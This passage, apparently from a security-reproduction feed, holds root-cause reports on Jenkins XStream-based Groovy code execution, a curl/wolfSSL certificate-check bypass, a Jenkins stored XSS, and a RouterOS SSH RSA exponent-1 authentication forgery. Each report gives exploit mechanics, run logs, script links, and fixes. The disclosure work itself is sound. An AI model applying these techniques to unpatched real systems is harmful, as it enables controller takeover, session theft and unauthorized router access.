graph to a nested `Jenkins` object with an attacker-supplied unsecured authorization strategy, allowing arbitrary Groovy and operating-system command execution on the controller. ## Impact - **Affected component:** Jenkins core, principally `hudson.util.RobustReflectionConverter` and security-sensitive transient fields in core model classes. - **Affected versions:** Jenkins weekly 2.579 and earlier; Jenkins LTS 2.568.2 and earlier. - **Fixed versions:** Jenkins weekly 2.580; Jenkins LTS 2.568.3. - **Risk:** High. An authenticated user able to update a job configuration can overwrite object identity/ownership state, forge Stapler traversal to privileged controller functions, and execute attacker-selected commands as the Jenkins controller process. The same primitive also corrupts protected cross-item state: this proof made a separate `target` job disappear from Jenkins' item map during an ordinary rename. ## Impact Parity - **Disclosed/claimed maximum impact:** Controller code execution through the remote Jenkins configuration API. - **Reproduced impact:** Two fresh Jenkins 2.579 controller processes accepted crafted `config.xml`, exposed the forged `/job/carrier/pollingLog/run/project/parent/scriptText` route, evaluated attacker-selected Groovy, and ran `/bin/sh` to create unique controller-local marker files. Two Jenkins 2.580 controls accepted the same endpoint request but returned HTTP 404 on the forged route and created no marker. - **Parity:** `full` - **Not demonstrated:** No privilege beyond the Jenkins controller process account or host/container escape was attempted; neither is required by the claim. ## Root Cause `AbstractItem.updateByXml(Source)` checks `Item.CONFIGURE`, then unmarshals the submitted XML directly into the existing item using `Items.XSTREAM2.unmarshal(..., this, ..., true)`. Before the fix, `RobustReflectionConverter.fieldDefinedInClass` treated every reflected field as deserializable, deliberately including Java `transient` fields for old-configuration compatibility. There was no field-level mechanism to reject attacker values for runtime-only identity, parent, owner, or execution references. The exploit composes those writes as follows: 1. The persistent `Actionable.actions` list receives `hudson.triggers.SCMTrigger$BuildAction`. 2. Its transient `run` field receives a freshly constructed `hudson.model.FreeStyleBuild`. 3. `Run.project` receives a nested `FreeStyleProject`. 4. The nested project's transient `AbstractItem.parent` receives a nested `jenkins.model.Jenkins`. 5. That nested Jenkins object's ordinary `authorizationStrategy` receives `AuthorizationStrategy$Unsecured`. 6. Stapler follows `carrier -> pollingLog -> run -> project -> parent -> scriptText`. `Jenkins.doScriptText` checks the ACL of the nested Jenkins object, which now grants all permissions, rather than the real controller ACL. Attacker Groovy is evaluated on the real controller JVM and launches the selected command. The same request sets transient `AbstractItem.name` to `target`. `updateByXml` calls `onLoad` afterward and restores the visible carrier name, but an ordinary rename records the injected value as `oldName` before restoration in the relevant flow and removes/replaces the protected item-map entry only on the vulnerable build. This supplies independent evidence of transient configuration-object overwrite. The fix is commit [`6244ebadf5b30257fde506c2d12d8eac9b6bc0e6`](https://github.com/jenkinsci/jenkins/commit/6244ebadf5b30257fde506c2d12d8eac9b6bc0e6) (`[SECURITY-4032]`). It adds `@XStreamNotDeserializable` / `@XStreamDeserializable`, teaches `RobustReflectionConverter` to skip forbidden transient fields, and annotates security-sensitive core fields including `AbstractItem.name`, `AbstractItem.parent`, `Run.project`, and `SCMTrigger.BuildAction.run`. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. The script resolves its bundle through `PRUVA_ROOT`, reads `bundle/project_cache_context.json`, and uses the prepared repository location when available. 2. The script pulls and verifies immutable Jenkins 2.579 and 2.580 JDK 21 image digests, downloads checksum-pinned Matrix Authorization Strategy dependencies, and creates four clean Jenkins controllers: two vulnerable and two fixed controls. 3. Each controller is configured with an `attacker` account possessing `Overall/Read`, `Item/Read`, and `Item/Configure`, but not `Overall/Administer`; direct `/script` access is captured as denied. 4. Through the real authenticated `/job/carrier/config.xml` endpoint, the script submits the crafted transient-field object graph. It then posts attacker-selected Groovy to the forged Stapler route and checks a unique controller-local command marker. 5. It performs the secondary poisoned-name rename check, finalizes per-attempt request/response/service evidence, and writes `bundle/repro/runtime_manifest.json` with direct SHA-256 bindings. 6. Expected result: both Jenkins 2.579 attempts show `config=200 route=200 marker=true`, while both 2.580 attempts show `config=200 route=404 marker=false`. The script exits 0 only if all vulnerable and fixed assertions hold. ## Evidence - `bundle/logs/reproduction_steps.log`: top-level diagnostic transcript. - `bundle/repro/runtime_manifest.json`: immutable target identities and SHA-256 mapping for 48 finalized proof artifacts. - `bundle/repro/proof/vulnerable_1.result.txt` and `vulnerable_2.result.txt`: HTTP 200 on the config and forged script route, `marker_present=true`, target removed. - `bundle/repro/proof/vulnerable_1.marker.txt` and `vulnerable_2.marker.txt`: unique bytes written by attacker-selected `/bin/sh` commands. - `bundle/repro/proof/vulnerable_1.config.request.xml`: exact transient-field object graph sent through Item/Configure. - `bundle/repro/proof/vulnerable_1.route.request.txt` and `.route.response.body`: forged route and successful attacker Groovy output. - `bundle/repro/proof/fixed_1.result.txt` and `fixed_2.result.txt`: HTTP 404 on the same route, `marker_present=false`, and preserved `target-secret` state. - `bundle/repro/proof/fixed_1.marker.txt` and `fixed_2.marker.txt`: explicit absence records for unique fixed-control markers. - `bundle/repro/proof/*_*.script.headers`: direct Script Console controls showing `X-Required-Permission: hudson.model.Hudson.Administer` for the low-privilege user (supporting diagnostic evidence; the finalized manifest binds the per-attempt exploit records). - Vulnerable image: `jenkins/jenkins@sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be`, source release commit `9095ea3a5c5e7dcd392695a5dd880af1c9910ddf`. - Fixed image: `jenkins/jenkins@sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1`, source release commit `497de4961ad80d97e26bfdeb0d2e40442a84ecb0`. Key latest-run transcript: ```text [vulnerable/1] config=200 route=200 marker=true rename=302 target=404: owned=200:carrier-updated-through-config-api [vulnerable/2] config=200 route=200 marker=true rename=302 target=404: owned=200:carrier-updated-through-config-api [fixed/1] config=200 route=404 marker=false rename=302 target=200:target-secret owned=200:carrier-updated-through-config-api [fixed/2] config=200 route=404 marker=false rename=302 target=200:target-secret owned=200:carrier-updated-through-config-api ``` ## Recommendations / Next Steps - Upgrade to Jenkins weekly 2.580 or newer, or LTS 2.568.3 or newer. - Do not enable the `hudson.util.RobustReflectionConverter.DISABLE_XSTREAM_NOT_DESERIALIZABLE_CHECK` escape hatch; it disables SECURITY-4032 protection. - Annotate plugin transient fields that encode identity, ownership, parentage, ACLs, runtime execution state, or object-root references with an annotation whose simple name is `XStreamNotDeserializable`, as supported for plugins targeting older cores. - Use `@XStreamDeserializable` only for reviewed migration-only transient fields and add vulnerable/fixed tests through real `config.xml` endpoints, not only direct XStream unit tests. - Audit plugin model types reachable from user-submitted configuration for unannotated transient `Item`, `Run`, `Job`, `Node`, `User`, ACL, or controller references. ## Additional Notes - The final script passed two complete consecutive executions. Each execution itself launches two fresh vulnerable and two fresh fixed controller processes. - The primary proof is the normal Jenkins HTTP product path; no sanitizer, direct parser harness, or mocked response is used. - Rootless Docker emits a benign cgroup warning. The script uses a checksum-pinned Alpine cleanup image to remove subordinate-ID files left by interrupted runs and preserves caller-owned bundle paths. - The Matrix Authorization Strategy plugin is used only to establish the stated low-privilege precondition. Its downloaded bytes and dependency are checksum pinned. The vulnerability and exploit object graph are in Jenkins core. ### Reproduction - Reproduced: 2026-09-24T17:06:41.881Z - Duration: 3648s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00369 # or: pruva-verify CVE-2026-84650 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00369 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00369/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00369 ================================================================================ ## REPRO-2026-00368: curl: wolfSSL CA-cache hit causes x509 store setup rerun that overrides user certificate verification callback -------------------------------------------------------------------------------- Status: published Severity: low Type: security ### Identifiers - REPRO ID: REPRO-2026-00368 - CVE: CVE-2026-82208 (https://nvd.nist.gov/vuln/detail/CVE-2026-82208) ### Package Information - Name: curl/curl - Ecosystem: github - Affected: curl 8.9.1 through 8.21.0 inclusive. - Fixed: Unknown - Severity: low - CVSS: Unknown - CWE: CWE-295: Improper Certificate Validation. (Improper Certificate Validation) ### Root Cause # Root Cause Analysis: CVE-2026-82208 ## Summary CVE-2026-82208 is a certificate-policy bypass in libcurl's wolfSSL TLS backend. When CA caching is enabled, a cache-hit connection can leave `wssl->x509_store_setup` false. libcurl calls `Curl_wssl_setup_x509_store()` before an application's `CURLOPT_SSL_CTX_FUNCTION` callback, the callback replaces the trust store with stricter application policy, and then libcurl calls setup again during the handshake. The vulnerable second call silently reinstalls the cached CA store, overriding the callback's policy. Current-run testing reproduced the bypass twice against the vulnerable fixed-commit parent and showed the fixed commit rejecting the same second transfer twice. ## Impact - **Package/component affected:** curl/libcurl, specifically the wolfSSL TLS backend when CA caching and `CURLOPT_SSL_CTX_FUNCTION` trust-store customization are used. - **Affected versions:** curl 8.9.1 through 8.21.0 inclusive. Versions before 8.9.1 and curl 8.22.0 or later are not affected. - **Tested vulnerable commit:** `f8df560ed9faa2ff3d6198b50f55eaf0315fcb39`, the direct parent of the fixed commit. - **Tested fixed commit:** `ed0338befd1d865a8ea1fbaa90013a096dedd07a`. - **Risk level and consequences:** Upstream rates this Low severity (CWE-295). Under the required application configuration, an HTTPS peer certificate accepted by the cached CA store can be accepted even though application-installed certificate policy rejects it, undermining authentication and authorization decisions based on that policy. The curl command-line tool is not affected because this requires libcurl callback use. ## Impact Parity - **Disclosed/claimed maximum impact:** Certificate-policy/authorization bypass (`authz_bypass`). - **Reproduced impact from this run:** Full policy bypass. On each vulnerable run, the application callback installed an empty wolfSSL trust store, yet the second TLS handshake succeeded and received HTTP 200 from the peer. The fixed commit failed the same transfer with `CURLE_SSL_CACERT_BADFILE` (77) after reporting that the CA signer was unavailable. - **Parity:** `full`. - **Not demonstrated:** No code execution, memory corruption, or effect beyond bypassing the configured certificate trust policy was claimed or tested. ## Root Cause The CA cache is held on the libcurl multi handle. In the vulnerable implementation, the line that marks setup complete—`wssl->x509_store_setup = TRUE`—is inside `wssl_populate_x509_store()`. A cache miss populates a new store and reaches that assignment. A cache hit, however, takes the `cached_store` branch in `Curl_wssl_setup_x509_store()` and returns without calling `wssl_populate_x509_store()`, so the completion flag remains false. During a new wolfSSL connection, libcurl first checks this flag and installs the cached store before calling the application's `CURLOPT_SSL_CTX_FUNCTION` callback. The callback can replace the trust store to enforce stricter policy. Later in the handshake, libcurl checks the still-false flag again, invokes `Curl_wssl_setup_x509_store()` a second time, and restores the cached store. The callback did execute, but its trust decision state no longer controls certificate validation. The fix moves `wssl->x509_store_setup = TRUE` to the beginning of `Curl_wssl_setup_x509_store()`, ensuring every path—including a cache hit—is marked complete and preventing the post-callback rerun: - Fix: - Introduced by the CA-cache/UAF correction: ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` with `PRUVA_ROOT` optionally pointing to the bundle directory. 2. The script reads `bundle/project_cache_context.json`, uses `/pruva/project-cache/repo` when prepared, fetches fixed commit `ed0338befd1d865a8ea1fbaa90013a096dedd07a`, resolves its parent as the vulnerable checkout, and verifies the patch is absent/present in the expected function preamble. 3. It builds pinned wolfSSL 5.8.4 commit `59f4fa568615396fbf381b073b220d1e8d61e4c2` and static vulnerable/fixed libcurl builds with no default CA path. This makes the explicit CAfile the sole trust source and satisfies the wolfSSL CA-cache criteria. 4. It generates a local CA/server certificate and starts a real local HTTPS peer. 5. For each role, a C application performs one CAfile-authenticated transfer to populate the multi handle's CA cache, then a fresh second transfer with `CURLOPT_SSL_CTX_FUNCTION`. The callback replaces the wolfSSL X.509 store with an empty store, which must reject the server certificate if preserved. 6. The script runs two vulnerable and two fixed attempts. It requires vulnerable HTTP 200 acceptance, fixed certificate rejection, and exactly six HTTP requests reaching the peer (four vulnerable requests plus two fixed cache-priming requests). 7. It writes `bundle/repro/runtime_manifest.json` with immutable target identity and proof-artifact SHA-256 values. Expected terminal output is: ```text CVE-2026-82208 CONFIRMED: vulnerable CA-cache hit overrides callback-selected trust store; fixed commit fails closed. ``` ## Evidence - **Vulnerable attempts:** - `bundle/repro/vulnerable-attempt-1.log` - `bundle/repro/vulnerable-attempt-2.log` - **Fixed negative controls:** - `bundle/repro/fixed-attempt-1.log` - `bundle/repro/fixed-attempt-2.log` - **Real HTTPS peer transcript:** `bundle/repro/https-peer.log` - **Exact source/dependency identity:** `bundle/repro/target-identity.log` - **Machine-readable evidence binding:** `bundle/repro/runtime_manifest.json` - **Build/session diagnostics:** `bundle/logs/reproduction_steps.log` and `bundle/logs/fix.patch` Key vulnerable excerpt (present in both vulnerable logs): ```text CALLBACK_EMPTY_STORE_INSTALLED * SSL connection using TLSv1.3 / TLS13-AES256-GCM-SHA384 < HTTP/1.1 200 OK SECOND_RESULT code=0 name=No error http=200 VULNERABILITY_CONFIRMED cached_CA_overrode_callback_policy ``` Key fixed excerpt (present in both fixed logs): ```text CALLBACK_EMPTY_STORE_INSTALLED * CA signer not available for verification SECOND_RESULT code=77 name=Problem with the SSL CA cert (path? access rights?) http=0 FIXED_NEGATIVE_CONTROL callback_policy_enforced ``` The final runtime manifest binds the tested vulnerable identity to SHA-256 `ebf927ca04aa4ea5794dbdcc4f97ce45f184a311d935b1fbf5e6195d4a1b9252`, computed from `git:https://github.com/curl/curl.git@f8df560ed9faa2ff3d6198b50f55eaf0315fcb39`. The observed environment was Linux x86-64, libcurl multi API, wolfSSL 5.8.4, and Python 3's TLS-capable local HTTPS peer. No sanitizer was used. ## Recommendations / Next Steps - Upgrade to curl 8.22.0 or later. - If immediate upgrade is unavailable, apply upstream commit `ed0338befd1d865a8ea1fbaa90013a096dedd07a` and rebuild libcurl. - As a temporary mitigation, avoid combining the wolfSSL backend, CA caching, and `CURLOPT_SSL_CTX_FUNCTION` trust-store replacement. - Retain a regression test that primes a CAfile-only multi-handle cache, installs a callback-selected rejecting store on a fresh transfer, and confirms the policy remains effective on the cache-hit path. - Test cache-hit and cache-miss branches independently; cache misses already set the old completion flag and therefore do not expose the same sequence. ## Additional Notes - The finalized script passed twice consecutively, and each script execution itself ran two vulnerable and two fixed attempts. - The callback uses an empty trust store as a deterministic stricter policy. This models the advisory's callback-selected trust store and proves policy state is overridden without relying on application-specific certificate contents. - The local HTTPS peer intentionally closes each HTTP connection. CA caching is independent of connection reuse; forcing a fresh TLS connection ensures the second connection reaches the vulnerable cache-hit setup sequence. - A compiled-in default CA path initially prevented the cache criteria from being satisfied. The final build explicitly uses `--without-ca-bundle --without-ca-path`, and the runtime logs confirm `CApath: none`. ### Reproduction - Reproduced: 2026-09-24T17:06:35.353Z - Duration: 1540s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00368 # or: pruva-verify CVE-2026-82208 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00368 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00368/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00368 ================================================================================ ## REPRO-2026-00367: Jenkins stored XSS in system log viewer via agent log output (SECURITY-3476) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00367 - CVE: CVE-2026-84648 (https://nvd.nist.gov/vuln/detail/CVE-2026-84648) ### Package Information - Name: jenkinsci/jenkins - Ecosystem: github - Affected: Jenkins weekly <= 2.579; Jenkins LTS <= 2.568.2 - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) ### Root Cause # RCA Report — CVE-2026-84648 (SECURITY-3967): Jenkins stored XSS in system log viewer via agent log output ## Summary Jenkins 2.579 and earlier (LTS 2.568.2 and earlier) renders log record metadata — source, level, and timestamp — in the system log viewer without HTML escaping. An attacker who controls an agent process can publish a `java.util.logging.LogRecord` with an attacker-controlled `sourceClassName` (e.g. ``). That record is captured in the agent-side ring buffer (`SlaveComputer.LogHolder.SLAVE_LOG_HANDLER`, attached agent-side to the `hudson.slaves.SlaveComputer` logger by `SlaveInitializer` during channel setup), fetched over the remoting channel when an administrator opens a log recorder page (`/log//`), and rendered raw into the HTML. This is a stored XSS in the administrator's session context. Jenkins 2.580 / LTS 2.568.3 fixes it by escaping the metadata with `Util.xmlEscape`. ## Impact - Package/component: Jenkins core (`hudson.Functions#printLogRecordHtml`, rendered by `lib/hudson/logRecords.jelly` on `hudson.logging.LogRecorder` pages). - Affected versions: Jenkins ≤ 2.579, LTS ≤ 2.568.2. - Risk: High (CVSS 8.8, AV:N/AC:L/PR:N/UI:R). Stored XSS in the system log viewer executes in an administrator's authenticated browser session, enabling session hijack and full controller compromise (e.g. crumb theft → `/scriptText` Groovy RCE chain legs CVE-2026-84649 / CVE-2026-84645). - Attacker precondition: control of an agent process (malicious/compromised agent). The victim must open a log recorder page that targets the agent log namespace. ## Impact Parity - Disclosed/claimed maximum impact: stored XSS executing in an administrator's session (session hijack; stepping stone to RCE). - Reproduced impact from this run: (see Evidence — filled from the runtime proof) unescaped attacker payload rendered on the real `/log/agentlog/` page of Jenkins 2.579 served to an authenticated admin; headless-Chromium admin session executed the injected script, which exfiltrated the authenticated same-origin `/whoAmI/api/json` response to an attacker-controlled beacon. Jenkins 2.580 negative control renders the payload escaped and no beacon callback occurs. - Parity: full. - Not demonstrated: the downstream RCE chain legs (CVE-2026-84649 crumb theft, CVE-2026-84645 deserialization RCE) are separate tickets and out of scope here. ## Root Cause `core/src/main/java/hudson/Functions.java` (Jenkins 2.579), `printLogRecordHtml(LogRecord r, LogRecord prior)`: ```java String[] oldParts = prior == null ? new String[4] : logRecordPreformat(prior); String[] newParts = logRecordPreformat(r); for (int i = 0; i < /* not 4 */3; i++) { newParts[i] = ""; } newParts[3] = Util.xmlEscape(newParts[3]); ``` Only `parts[3]` (the message) is escaped. `parts[0]` (timestamp), `parts[1]` (source = `sourceClassName` [+ `sourceMethodName`], or `loggerName` when `sourceClassName == null`), and `parts[2]` (level) are concatenated into raw HTML. `lib/hudson/logRecords.jelly` then emits them with ``, which outputs raw (unescaped) HTML. A `LogRecord` whose `sourceClassName` is already set is not overwritten by `Logger.log(LogRecord)`, so an attacker JVM fully controls this field. Delivery path from the agent: `SlaveComputer.SlaveInitializer` (a `MasterToSlaveCallable` sent during `setChannel`) installs `LogHolder.SLAVE_LOG_HANDLER` (a `RingBufferLogHandler`) on the `hudson.slaves.SlaveComputer` logger inside the agent JVM. When an administrator views a `LogRecorder` page whose targets include that namespace, `LogRecorder.getSlaveLogRecords()` calls `SlaveComputer.getLogRecords()` → `SlaveLogFetcher` callable over the remoting channel → returns the agent ring buffer → records are rendered via the vulnerable function. Fix (Jenkins 2.580): the same loop becomes ```java String cls = newParts[i].equals(oldParts[i]) ? "logrecord-metadata-old" : "logrecord-metadata-new"; newParts[i] = "" + Util.xmlEscape(newParts[i]) + ""; ``` Verified via `git diff jenkins-2.579..jenkins-2.580 -- core/src/main/java/hudson/Functions.java` and the added regression test `test/src/test/java/hudson/logging/LogRecorderManagerTest.java#logRecorderPageDoesNotRenderUnescapedMetadata` (`@Issue("SECURITY-3967")`). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; requires Docker, Python 3, Node.js, curl, jq). 2. Per attempt (2 vulnerable on `jenkins/jenkins:2.579`, 2 fixed on `jenkins/jenkins:2.580`, fresh container each): - Starts Jenkins with an init groovy script that creates the `admin` account, an inbound (JNLP) agent node `agent1`, and a system log recorder `agentlog` targeting `hudson.slaves.SlaveComputer` at Level.ALL. - Downloads the real `agent.jar` from the running controller, compiles `bundle/repro/agent/AgentXss.java` against it inside the container, and connects an attacker-controlled agent process over the real JNLP4/remoting TCP boundary. - The agent publishes a `LogRecord` with `sourceClassName = ` under the `hudson.slaves.SlaveComputer` logger. - The administrator views `http://127.0.0.1:18080/log/agentlog/` (curl capture of the raw HTML + response headers, and a headless-Chromium admin login + page visit). 3. Expected evidence: - Vulnerable: raw `` payload present verbatim in the served HTML; headless admin browser executes it and the attacker beacon receives the marker plus the exfiltrated authenticated `/whoAmI/api/json` body. - Fixed: HTML contains only `<svg/onload…`; beacon never receives the marker. ## Evidence - `bundle/logs/reproduction_steps.log` — full run log. - `bundle/repro/proof/vulnerable_{1,2}/page.html` — raw payload in served page (vulnerable). - `bundle/repro/proof/vulnerable_1/beacon-hit.txt`, `bundle/repro/proof/beacon.log` — attacker beacon callbacks proving script execution in the admin session. - `bundle/repro/proof/vulnerable_{1,2}/agent.log` — attacker agent channel + `MALICIOUS_RECORD_PUBLISHED`. - `bundle/repro/proof/fixed_{1,2}/page.html` — escaped payload only (negative control). - `bundle/repro/proof/*/result.json` — per-attempt structured results; `bundle/repro/runtime_manifest.json` — runtime evidence manifest with artifact hashes. - Environment: `jenkins/jenkins:2.579` (`sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be`), `jenkins/jenkins:2.580`, bundled JDK 21, Linux x86_64. ## Recommendations / Next Steps - Upgrade to Jenkins 2.580 / LTS 2.568.3 (metadata is escaped before rendering). - Enforcing the Jenkins Content Security Policy (opt-in before the fix; default is report-only) mitigates script execution but does not fix the missing escaping. - Treat agent hosts as within the threat boundary: any agent can inject HTML into controller UI pages viewed by admins. ## Additional Notes - The script is idempotent: every attempt uses a fresh container (no persistent `JENKINS_HOME`), and reruns rebuild all proof artifacts. - Limitation: the browser execution proof uses headless Chromium via puppeteer; if Chromium cannot be installed in the replay sandbox, the script degrades to the HTML oracle only (raw vs escaped payload), which still directly demonstrates the missing escaping that the 2.580 fix addresses. - The `source` metadata line is only rendered when consecutive records differ; the agent publishes a benign control record before the malicious one so the payload-bearing span is always rendered. ### Reproduction - Reproduced: 2026-09-24T17:06:29.504Z - Duration: 4128s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00367 # or: pruva-verify CVE-2026-84648 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00367 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00367/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00367 ================================================================================ ## REPRO-2026-00365: RouterOS SSH RSA key-identity mismatch permits authentication with a forged key sharing an authorized modulus -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00365 - CVE: CVE-2026-67276 (https://nvd.nist.gov/vuln/detail/CVE-2026-67276) ### Package Information - Name: MikroTik RouterOS - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-287 (Improper Authentication) ### Root Cause ## Summary CVE-2026-67276 is an SSH RSA public-key authentication bypass in MikroTik RouterOS. Current-run production-path testing demonstrated that RouterOS CHR 7.23.3 accepts an attacker-offered RSA key whose modulus equals an authorized key but whose exponent is changed from 65537 to 1. Because signature validation uses the offered exponent, a client can construct a valid PKCS#1 v1.5 encoded signature without the authorized private key. In two fresh 7.23.3 QEMU states, the forged SSH authentication opened a command channel and returned RouterOS-originated `/system resource print` output. The same input was rejected before command-channel creation in two fresh RouterOS CHR 7.23.4 states. ## Impact - **Component:** MikroTik RouterOS SSH server, RSA public-key user authentication. - **Confirmed affected target:** RouterOS CHR 7.23.3. - **Vendor-fixed negative control:** RouterOS CHR 7.23.4. - **Risk:** Critical authentication/authorization bypass over the network. An attacker who knows a target username and that account's authorized RSA public modulus can authenticate without the corresponding private key and execute RouterOS commands at that account's existing policy level. - **Scope boundary:** The controlled user belonged to RouterOS's `read` group. No privilege escalation and no other MikroTrick CVE was attempted or claimed. ## Impact Parity - **Disclosed/claimed maximum impact:** Authorization/authentication bypass (`authz_bypass`) with an SSH command channel at the targeted user's existing privileges. - **Reproduced impact from this run:** The forged public-key request authenticated as the controlled `cveuser` account and executed `/system resource print` through a real SSH command channel in two independent vulnerable states; 7.23.4 rejected the same request twice. - **Parity:** `full`. - **Not demonstrated:** Privilege escalation, administrative-policy acquisition, compromise of another account, or any issue other than CVE-2026-67276. These are not required by the submitted claim. ## Root Cause An RSA public key is the ordered pair `(n, e)`: modulus `n` and public exponent `e`. RouterOS 7.23.3's SSH authorized-key matching accepts an offered key based on RSA key type and modulus while omitting the exponent. Signature verification subsequently uses the complete attacker-offered key, including the attacker-selected exponent. The reproduction provisions a normal 2048-bit RSA authorized key with exponent `e=65537`, deletes its private half, and retains only the public key in the attacker's directory. The forged client offers the same modulus with `e=1`. For RSA verification, exponent one makes `signature^e mod n` equal to the signature representative itself. The attacker therefore supplies the computable EMSA-PKCS1-v1_5 encoding of the SSH user-authentication data as the signature. RouterOS 7.23.3 incorrectly associates the offered key with the authorized identity and validates this forged signature; RouterOS 7.23.4 rejects both `rsa-sha2-256` and `ssh-rsa` attempts, showing that the vendor-fixed target no longer permits this exponent substitution. RouterOS CHR is a proprietary vendor image, so there is no public source fix commit to link. The vendor bulletin identifies 7.23.4 as containing the fix: . CERT Polska's technical description is at . ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. `PRUVA_ROOT` may identify the bundle root explicitly. 2. The script verifies pinned SHA-256 values for official RouterOS CHR 7.23.3 and 7.23.4 archives, installs QEMU only if absent, pins the forged-client source to commit `3281202c8ade8e31acf007da0c71057da83f2335`, and pins Paramiko 5.0.0 and cryptography 50.0.1. 3. It creates one ordinary RSA setup key, records exponent 65537 and a hash of its modulus, provisions a fresh controlled `read`-group user and public key through factory/setup authentication, deletes the private key, and verifies that no private-key file remains. 4. It boots two clean copies of unmodified CHR 7.23.3 and sends the exponent-one forged request through each VM's real TCP SSH listener. Each attempt must authenticate, open an exec channel, and return target-originated version 7.23.3 output. 5. It boots two clean copies of unmodified CHR 7.23.4 and sends the identical attack. Both algorithms must be rejected before any command channel opens. 6. It writes `bundle/repro/runtime_manifest.json` only after all QEMU processes are stopped and hashes every finalized proof artifact. Exit status 0 means the complete vulnerable/fixed matrix passed; exit status 1 means the issue was not reproduced as required. ## Evidence - **Runtime manifest:** `bundle/repro/runtime_manifest.json` - `entrypoint_kind="tcp_peer"` - `service_started=true`, `healthcheck_passed=true`, `target_path_reached=true` - Vulnerable archive target digest: `646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c` - Fixed archive digest (manifest note and identity log): `0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d` - **Target identity:** `bundle/repro/target_identity.log` - Raw image SHA-256: 7.23.3 `c21bf7d9e21fd8e0595875ddc06bd00e6e414a78b092bdaa245b0fe81f82614d`; 7.23.4 `e5c35c04210438db6825341fa6477c68dfe7ae91443f358cd6e5be45e0201d6b`. - QEMU 10.2.1 binary SHA-256: `0cd4112a8f0cb891eb7c10e8df38c9dfeec8c7389bb22db6aa425f0d6fe733dc`. - **Vulnerable attempts:** - `bundle/repro/vulnerable_attempt_1_attack.log` (manifest hash `4b89ba5e2f4abb1eebd4551ba3c0e8306e1a387b6ed266fec3eae76392355e7a`) - `bundle/repro/vulnerable_attempt_2_attack.log` (manifest hash `769070041fabcb731c68e8b12259750a789c58ff9ae1a13bb8772793d9883fe3`) - Both state `AUTHORIZED_PRIVATE_KEY_PRESENT=false`, `AUTHORIZED_ORIGINAL_EXPONENT=65537`, `ATTACKER_OFFERED_EXPONENT=1`, `AUTHENTICATED as 'cveuser'`, and include target-originated `version: 7.23.3 (stable)` and `platform: MikroTik` output. - **Fixed negative controls:** - `bundle/repro/fixed_attempt_1_attack.log` (manifest hash `0d6adc714f103587070ef2592e9ca4a193439a673679de10e94469d870216d9a`) - `bundle/repro/fixed_attempt_2_attack.log` (manifest hash `774b847e3250beb0d5e50f23eba24bedf029d6abf67871dd493ec8e77091810a`) - Both report authentication rejection for `rsa-sha2-256` and `ssh-rsa`, then `ATTACK_RESULT=rejected_before_command_channel`. - **Setup/TCP evidence:** `bundle/repro/*_setup.log` records the fresh role/version/endpoint, `TCP_LISTENER_REACHED=true`, controlled account creation, imported RSA-2048 key, fingerprint, and `SETUP_PHASE_COMPLETE=true`. - **Summary:** `bundle/repro/proof_summary.log` records the four-attempt matrix and explicitly limits the observed impact to `authz_bypass`. - **Diagnostics:** `bundle/logs/reproduction_steps.log` contains build/download/runtime diagnostics but is intentionally not manifest-bound while active. Key vulnerable excerpt: ```text AUTHORIZED_PRIVATE_KEY_PRESENT=false AUTHORIZED_ORIGINAL_EXPONENT=65537 ATTACKER_OFFERED_EXPONENT=1 [+] AUTHENTICATED as 'cveuser' via forged e=1 key (rsa-sha2-256) --- post-auth command output --- version: 7.23.3 (stable) platform: MikroTik ATTACK_RESULT=accepted_command_channel_opened ``` Key fixed-control excerpt: ```text TARGET_VERSION=7.23.4 [-] rsa-sha2-256: authentication rejected (Authentication failed.) [-] ssh-rsa: authentication rejected (Authentication failed.) ATTACK_RESULT=rejected_before_command_channel ``` ## Recommendations / Next Steps - Upgrade affected 7.x long-term systems to RouterOS 7.23.4 or a later vendor-fixed release. Follow MikroTik's current channel-specific upgrade guidance for other release trains. - Compare canonical complete RSA public-key identities during authorization, including both modulus and exponent, rather than treating the modulus alone as the identity. - Bind signature verification to the exact authorized key that matched, not to unchecked attributes from the client-offered key. - Add regression tests with equal moduli and unequal exponents, including canonical and non-canonical SSH mpint encodings, and require rejection before `SSH_MSG_USERAUTH_SUCCESS` or channel creation. - Until systems are upgraded, restrict RouterOS SSH management access to trusted management networks and review authorized keys and authentication logs. ## Additional Notes - **Idempotency:** The finalized reproduction script completed successfully twice consecutively. Each invocation created two new vulnerable and two new fixed VM disk copies and independently reproduced the same result matrix. - **Real boundary:** This is a production-path test of the unmodified vendor CHR images. Attacker data crossed a localhost host-forwarded TCP socket into RouterOS's real SSH server; the vulnerable parser/authentication path was not invoked directly. - **Setup separation:** Factory password handling, user creation, and key import occur only in per-target setup logs. The attacker invocation receives only the controlled username and authorized public-key file; it does not receive any setup password. The authorized private key is removed before the first attacker 